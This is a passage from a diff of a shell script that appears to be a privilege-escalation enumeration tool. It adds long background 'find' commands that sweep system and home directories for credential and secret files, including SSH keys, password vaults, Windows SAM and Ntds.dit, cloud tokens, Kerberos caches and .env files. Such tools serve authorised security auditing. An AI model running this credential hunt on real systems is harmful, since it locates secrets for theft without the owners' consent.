\"gitlab.rm\" -o -name \"sess_*\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"config.xml\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+
+
+ wait # Always wait at the end
+ CONT_THREADS=0 #Reset the threads counter
+
+elif echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then
+
+ printf $GREEN"Caching directories "$NC
+
+ CONT_THREADS=0
+ # FIND ALL KNOWN INTERESTING SOFTWARE FILES
+ FIND_DIR_APPLICATIONS=`eval_bckgrd "find ${ROOT_FOLDER}applications -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_BIN=`eval_bckgrd "find ${ROOT_FOLDER}bin -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_CACHE=`eval_bckgrd "find ${ROOT_FOLDER}.cache -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_CDROM=`eval_bckgrd "find ${ROOT_FOLDER}cdrom -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_ETC=`eval_bckgrd "find ${ROOT_FOLDER}etc -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \"system-connections\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"bind\" -o -name \"system.d\" -o -name \"dirsrv\" -o -name \"kubelet\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"pam.d\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \"kube-proxy\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \"neo4j\" -o -name \".password-store\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" -o -name \"kubernetes\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_MEDIA=`eval_bckgrd "find ${ROOT_FOLDER}media -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_MNT=`eval_bckgrd "find ${ROOT_FOLDER}mnt -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_OPT=`eval_bckgrd "find ${ROOT_FOLDER}opt -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_PRIVATE=`eval_bckgrd "find ${ROOT_FOLDER}private -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_SBIN=`eval_bckgrd "find ${ROOT_FOLDER}sbin -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_SNAP=`eval_bckgrd "find ${ROOT_FOLDER}snap -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_SRV=`eval_bckgrd "find ${ROOT_FOLDER}srv -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_TMP=`eval_bckgrd "find ${ROOT_FOLDER}tmp -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_USR=`eval_bckgrd "find ${ROOT_FOLDER}usr -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"bind\" -o -name \"dirsrv\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \".password-store\" -o -name \"neo4j\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_VAR=`eval_bckgrd "find ${ROOT_FOLDER}var -type d -name \"concourse-keys\" -o -name \"*jenkins\" -o -name \"cacti\" -o -name \"ldap\" -o -name \"zabbix\" -o -name \"sites-enabled\" -o -name \"sentry\" -o -name \".kube*\" -o -name \"gcloud\" -o -name \".svn\" -o -name \"couchdb\" -o -name \"nginx\" -o -name \"postfix\" -o -name \"bind\" -o -name \"dirsrv\" -o -name \"kubelet\" -o -name \"doctl\" -o -name \"environments\" -o -name \".bluemix\" -o -name \".docker\" -o -name \"roundcube\" -o -name \"seeddms*\" -o -name \"legacy_credentials\" -o -name \"ipa\" -o -name \"filezilla\" -o -name \"keyrings\" -o -name \".cloudflared\" -o -name \"mysql\" -o -name \"kube-proxy\" -o -name \".vnc\" -o -name \"concourse-auth\" -o -name \"neo4j\" -o -name \".password-store\" -o -name \".irssi\" -o -name \"logstash\" -o -name \"varnish\" -o -name \"ErrorRecords\" -o -name \"kubernetes\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_CONCOURSE_AUTH=`eval_bckgrd "find ${ROOT_FOLDER}concourse-auth -type d -name \"concourse-auth\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_DIR_CONCOURSE_KEYS=`eval_bckgrd "find ${ROOT_FOLDER}concourse-keys -type d -name \"concourse-keys\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_APPLICATIONS=`eval_bckgrd "find ${ROOT_FOLDER}applications -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" -o -name \"passbolt.php\" -o -name \".ldaprc\" -o -name \"cesi.conf\" -o -name \"amportal.conf\" -o -name \"pg_hba.conf\" -o -name \"tomcat-users.xml\" -o -name \"mysqld.cnf\" -o -name \"*vnc*.c*nf*\" -o -name \"TokenCache.dat\" -o -name \"*config*.php\" -o -name \"sip.conf\" -o -name \"*.csr\" -o -name \"*.p12\" -o -name \"*.keystore\" -o -name \".git\" -o -name \".google_authenticator\" -o -name \"pgsql.conf\" -o -name \"scheduledtasks.xml\" -o -name \"*.ftpconfig\" -o -name \"gitlab.rm\" -o -name \"grafana.ini\" -o -name \"ipsec.conf\" -o -name \"*.pem\" -o -name \"hosts.equiv\" -o -name \".lesshst\" -o -name \"*.cer\" -o -name \"recentservers.xml\" -o -name \"Ntds.dit\" -o -name \"drives.xml\" -o -name \"printers.xml\" -o -name \"security.sav\" -o -name \"default.sav\" -o -name \"*vnc*.txt\" -o -name \"kibana.y*ml\" -o -name \"*.vhd\" -o -name \".credentials.json\" -o -name \"sysprep.xml\" -o -name \"id_rsa*\" -o -name \"glusterfs.ca\" -o -name \"*.der\" -o -name \"access.log\" -o -name \"datasources.xml\" -o -name \".boto\" -o -name \"passwd\" -o -name \"httpd.conf\" -o -name \"NetSetup.log\" -o -name \"*vnc*.ini\" -o -name \"*.pub\" -o -name \"snyk.json\" -o -name \".profile\" -o -name \"unattend.xml\" -o -name \"sssd.conf\" -o -name \"https.conf\" -o -name \"krb5cc_*\" -o -name \"wp-config.php\" -o -name \"hostapd.conf\" -o -name \"anaconda-ks.cfg\" -o -name \"RDCMan.settings\" -o -name \"firebase-tools.json\" -o -name \"*credential*\" -o -name \"docker-compose.yml\" -o -name \"cloud.cfg\" -o -name \"azureProfile.json\" -o -name \".recently-used.xbel\" -o -name \"*.swp\" -o -name \".rhosts\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"`
+ FIND_BIN=`eval_bckgrd "find ${ROOT_FOLDER}bin -name \"*.psk\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.keytab\" -o -name \"ddclient.conf\" -o -name \"autologin.conf\" -o -name \"docker.socket\" -o -name \"unattended.xml\" -o -name \".bashrc\" -o -name \"filezilla.xml\" -o -name \".Xauthority\" -o -name \"*.viminfo\" -o -name \"snmpd.conf\" -o -name \"sites.ini\" -o -name \"autologin\" -o -name \"*.vhdx\" -o -name \"system.sav\" -o -name \"kcpassword\" -o -name \"rsyncd.secrets\" -o -name \"config.xml\" -o -name \"KeePass.config*\" -o -name \"ConsoleHost_history.txt\" -o -name \"php.ini\" -o -name \"unattend.inf\" -o -name \"server.xml\" -o -name \"AzureRMContext.json\" -o -name \"SAM\" -o -name \"*.service\" -o -name \"ntuser.dat\" -o -name \"bitcoin.conf\" -o -name \"dockershim.sock\" -o -name \"authorized_keys\" -o -name \"*.rdg\" -o -name \"supervisord.conf\" -o -name \"ftp.config\" -o -name \"sysprep.inf\" -o -name \"*.db\" -o -name \"*.sqlite3\" -o -name \"iis6.log\" -o -name \".secrets.mkey\" -o -name \"*.kdbx\" -o -name \"SecEvent.Evt\" -o -name \".gitconfig\" -o -name \"ftp.ini\" -o -name \".pypirc\" -o -name \"ipsec.secrets\" -o -name \"index.dat\" -o -name \".flyrc\" -o -name \"*.pgp\" -o -name \"backups\" -o -name \"*.jks\" -o -name \"hudson.util.Secret\" -o -name \"adc.json\" -o -name \"webserver_config.py\" -o -name \"mariadb.cnf\" -o -name \"psk.txt\" -o -name \"*.key\" -o -name \"software\" -o -name \"rktlet.sock\" -o -name \".git-credentials\" -o -name \"*password*\" -o -name \"zabbix_server.conf\" -o -name \"KeePass.ini\" -o -name \"wcx_ftp.ini\" -o -name \"error.log\" -o -name \"snyk.config.json\" -o -name \"access_tokens.db\" -o -name \"api_key\" -o -name \"*_history*\" -o -name \"software.sav\" -o -name \"passwd.ibd\" -o -name \"gitlab.yml\" -o -name \"elasticsearch.y*ml\" -o -name \"000-default.conf\" -o -name \"sentry.conf.py\" -o -name \"password*.ibd\" -o -name \"rpcd\" -o -name \"*.tf\" -o -name \"atlantis.db\" -o -name \"fat.config\" -o -name \"ws_ftp.ini\" -o -name \".wgetrc\" -o -name \"racoon.conf\" -o -name \"airflow.cfg\" -o -name \"id_dsa*\" -o -name \"frakti.sock\" -o -name \"pwd.ibd\" -o -name \"db.php\" -o -name \"config.php\" -o -name \"AppEvent.Evt\" -o -name \"redis.conf\" -o -name \".erlang.cookie\" -o -name \"debian.cnf\" -o -name \"pgadmin*.db\" -o -name \"nginx.conf\" -o -name \"rocketchat.service\" -o -name \"log4j-core*.jar\" -o -name \"autounattend.xml\" -o -name \"master.key\" -o -name \"protecteduserkey.bin\" -o -name \"*.sqlite\" -o -name \"my.cnf\" -o -name \"pgadmin4.db\" -o -name \"credentials.db\" -o -name \"fastcgi_params\" -o -name \"*.ovpn\" -o -name \"postgresql.conf\" -o -name \"bash.exe\" -o -name \"https-xampp.conf\" -o -name \"setupinfo.bak\" -o -name \"creds*\" -o -name \"mosquitto.conf\" -o -name \"*.crt\" -o -name \"*vnc*.xml\" -o -name \"my.ini\" -o -name \"database.php\" -o -name \"containerd.sock\" -o -name \".github\" -o -name \"storage.php\" -o -name \"glusterfs.pem\" -o -name \"*.vmdk\" -o -name \"plum.sqlite\" -o -name \"influxdb.conf\" -o -name \"krb5.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*.timer\" -o -name \"groups.xml\" -o -name \"pagefile.sys\" -o -name \"crio.sock\" -o -name \"Elastix.conf\" -o -name \"*.gpg\" -o -name \"*.pfx\" -o -name \"accessTokens.json\" -o -name \"access_tokens.json\" -o -name \"jetty-realm.properties\" -o -name \".k5login\" -o -name \"gvm-tools.conf\" -o -name \"appcmd.exe\" -o -name \"wsl.exe\" -o -name \"scclient.exe\" -o -name \".msmtprc\" -o -name \"known_hosts\" -o -name \"ffftp.ini\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \".htpasswd\" -o -name \"legacy_credentials.db\" -o -name \".sudo_as_admin_successful\" -o -name \"setupinfo\" -o -name \"*.gnupg\" -o -name \"kadm5.acl\" -o -name \"KeePass.enforced*\" -o -name \".env*\" -o -name \"smb.conf\" -o -name \"Dockerfile\" -o -name \"authorized_hosts\" -o -name \".plan\" -o -name \"settings.php\" -o -name \"vsftpd.conf\" -o -name \"winscp.ini\" -o -name \"unattend.txt\" -o -name \"web*.config\" -o -name \"secrets.ldb\" -o -name \"rsyncd.conf\" -o -name \"glusterfs.key\" -o -name \"mongod*.conf\" -o -name \"*.tfstate\" -o -name \"*.socket\" -o -name \"FreePBX.conf\" -o -name \"*.keyring\" -o -name \"credentials.xml\" -o -name \".roadtools_auth\" -o -name \"SYSTEM\" -o -name \"backup\" -o -name \".vault-token\" -o -name \"secrets.yml\" -o -name \"docker.sock\" 